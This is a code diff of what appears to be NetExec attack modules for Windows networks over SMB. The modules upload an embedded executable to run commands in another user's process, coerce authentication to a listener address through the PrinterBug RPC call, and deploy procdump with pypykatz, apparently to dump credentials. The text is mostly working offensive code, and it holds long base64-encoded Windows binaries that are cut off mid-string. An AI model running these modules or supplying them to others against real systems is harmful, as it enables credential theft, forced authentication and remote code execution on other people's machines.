self.pi_embedded = b64decode('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 truncated
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
@@ -33,47 +35,46 @@ class NXCModule:
self.pid = module_options["PID"]
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = "/tmp/pi.exe"
with open(file_to_upload, 'wb') as pm:
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if path.isfile(self.imp_exe):
if isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
exit(1)
try:
if self.cmd == "" or self.pid == "":
self.uploadfile = False
context.log.highlight(f"Firstly run tasklist.exe /v to find process id for each user")
context.log.highlight(f"Usage: -o PID=pid EXEC='Command'")
context.log.highlight("Firstly run tasklist.exe /v to find process id for each user")
context.log.highlight("Usage: -o PID=pid EXEC='Command'")
return
else:
self.uploadfile = True
context.log.display(f"Uploading {self.pi}")
with open(file_to_upload, 'rb') as pi:
with open(file_to_upload, "rb") as pi:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read)
context.log.success(f"pi.exe successfully uploaded")
context.log.success("pi.exe successfully uploaded")
except Exception as e:
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
return
context.log.display(f"Executing {self.cmd}")
command = f'{self.tmp_dir}pi.exe {self.pid} \"{self.cmd}\"'
command = f'{self.tmp_dir}pi.exe {self.pid} "{self.cmd}"'
for line in connection.execute(command, True, methods=["smbexec"]).splitlines():
context.log.highlight(line)
except Exception as e:
context.log.fail(f"Error running command: {e}")
finally:
try:
if self.uploadfile == True:
if self.uploadfile is True:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}")
context.log.success(f"pi.exe successfully deleted")
context.log.success("pi.exe successfully deleted")
except Exception as e:
context.log.fail(f"Error deleting pi.exe on {self.share}: {e}")
+117
View File
@@ -0,0 +1,117 @@
from impacket.dcerpc.v5 import transport, rprn
class NXCModule:
name = "printerbug"
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.listener = None
def options(self, context, module_options):
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
self.listener = "127.0.0.1"
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to PrinterBug")
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
context.log.highlight("VULNERABLE")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
################################################################################
# RPC CALLS
################################################################################
class TriggerAuth:
def __init__(self, context):
self.context = context
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
rpctransport.set_dport(445)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
try:
dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
self.context.log.debug("Successfully bound!")
return dce
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
try:
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
except Exception as e:
if str(e).find("Broken pipe") >= 0:
# The connection timed-out. Let's try to bring it back next round
self.context.log.error("Connection failed - skipping host!")
return
elif str(e).upper().find("ACCESS_DENIED"):
# We're not admin, bye
self.context.log.error("Access denied - RPC call was denied")
dce.disconnect()
return
else:
raise
self.context.log.debug("Got handle")
try:
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
except Exception as e:
self.context.log.debug(e)
try:
dce.request(request)
except Exception as e:
self.context.log.debug(e)
+15 -23
View File
@@ -1,9 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -35,9 +32,7 @@ class NXCModule:
self.port = None
def options(self, context, module_options):
"""
PORT Port to check (defaults to 445)
"""
"""PORT Port to check (defaults to 445)"""
self.port = 445
if "PORT" in module_options:
self.port = int(module_options["PORT"])
@@ -46,7 +41,7 @@ class NXCModule:
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
context.log.info("Binding to %s" % (repr(stringbinding)))
context.log.info(f"Binding to {stringbinding!r}")
rpctransport = transport.DCERPCTransportFactory(stringbinding)
@@ -60,18 +55,19 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
context.log.fail("Failed to bind: %s" % e)
context.log.fail(f"Failed to bind: {e}")
sys.exit(1)
flags = APD_COPY_ALL_FILES | APD_COPY_FROM_DIRECTORY | APD_INSTALL_WARNED_DRIVER
@@ -119,13 +115,9 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "RPRN SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"RPRN SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "RPRN SessionError: unknown error code: 0x%x" % self.error_code
return f"RPRN SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@@ -191,26 +183,26 @@ class DRIVER_INFO_2_BLOB(Structure):
def fromString(self, data, offset=0):
Structure.fromString(self, data)
name = data[self["NameOffset"] + offset :].decode("utf-16-le")
name = data[self["NameOffset"] + offset:].decode("utf-16-le")
name_len = name.find("\0")
self["Name"] = checkNullString(name[:name_len])
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset : self["DataFileOffset"] + offset].decode("utf-16-le")
self["DataFile"] = data[self["DataFileOffset"] + offset : self["DriverPathOffset"] + offset].decode("utf-16-le")
self["DriverPath"] = data[self["DriverPathOffset"] + offset : self["EnvironmentOffset"] + offset].decode("utf-16-le")
self["Environment"] = data[self["EnvironmentOffset"] + offset : self["NameOffset"] + offset].decode("utf-16-le")
self["ConfigFile"] = data[self["ConfigFileOffset"] + offset: self["DataFileOffset"] + offset].decode("utf-16-le")
self["DataFile"] = data[self["DataFileOffset"] + offset: self["DriverPathOffset"] + offset].decode("utf-16-le")
self["DriverPath"] = data[self["DriverPathOffset"] + offset: self["EnvironmentOffset"] + offset].decode("utf-16-le")
self["Environment"] = data[self["EnvironmentOffset"] + offset: self["NameOffset"] + offset].decode("utf-16-le")
class DRIVER_INFO_2_ARRAY(Structure):
def __init__(self, data=None, pcReturned=None):
Structure.__init__(self, data=data)
self["drivers"] = list()
self["drivers"] = []
remaining = data
if data is not None:
for _ in range(pcReturned):
attr = DRIVER_INFO_2_BLOB(remaining)
self["drivers"].append(attr)
remaining = remaining[len(attr) :]
remaining = remaining[len(attr):]
class DRIVER_INFO_UNION(NDRUNION):
+18 -21
View File
@@ -1,7 +1,4 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# prdocdump module for nxc python3
# author: github.com/mpgn
# thanks to pixis (@HackAndDo) for making it pretty l33t :)
# v0.4
@@ -10,6 +7,8 @@ import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -20,13 +19,12 @@ class NXCModule:
multiple_hosts = True
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
PROCDUMP_PATH Path where procdump.exe is on your system (default: /tmp/), if changed embeded version will not be used
PROCDUMP_EXE_NAME Name of the procdump executable (default: procdump.exe), if changed embeded version will not be used
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = PROCDUMP_PATH)
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
@@ -34,7 +32,7 @@ class NXCModule:
"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 truncated
)
self.procdump = "procdump.exe"
self.procdump_path = "/tmp/"
self.procdump_path = abspath(TMP_PATH)
self.dir_result = self.procdump_path
self.useembeded = True
@@ -53,25 +51,25 @@ class NXCModule:
self.dir_result = module_options["DIR_RESULT"]
def on_admin_login(self, context, connection):
if self.useembeded == True:
if self.useembeded is True:
with open(self.procdump_path + self.procdump, "wb") as procdump:
procdump.write(self.procdump_embeded)
context.log.display("Copy {} to {}".format(self.procdump_path + self.procdump, self.tmp_dir))
context.log.display(f"Copy {self.procdump_path + self.procdump} to {self.tmp_dir}")
with open(self.procdump_path + self.procdump, "rb") as procdump:
try:
connection.conn.putFile(self.share, self.tmp_share + self.procdump, procdump.read)
context.log.success("Created file {} on the \\\\{}{}".format(self.procdump, self.share, self.tmp_share))
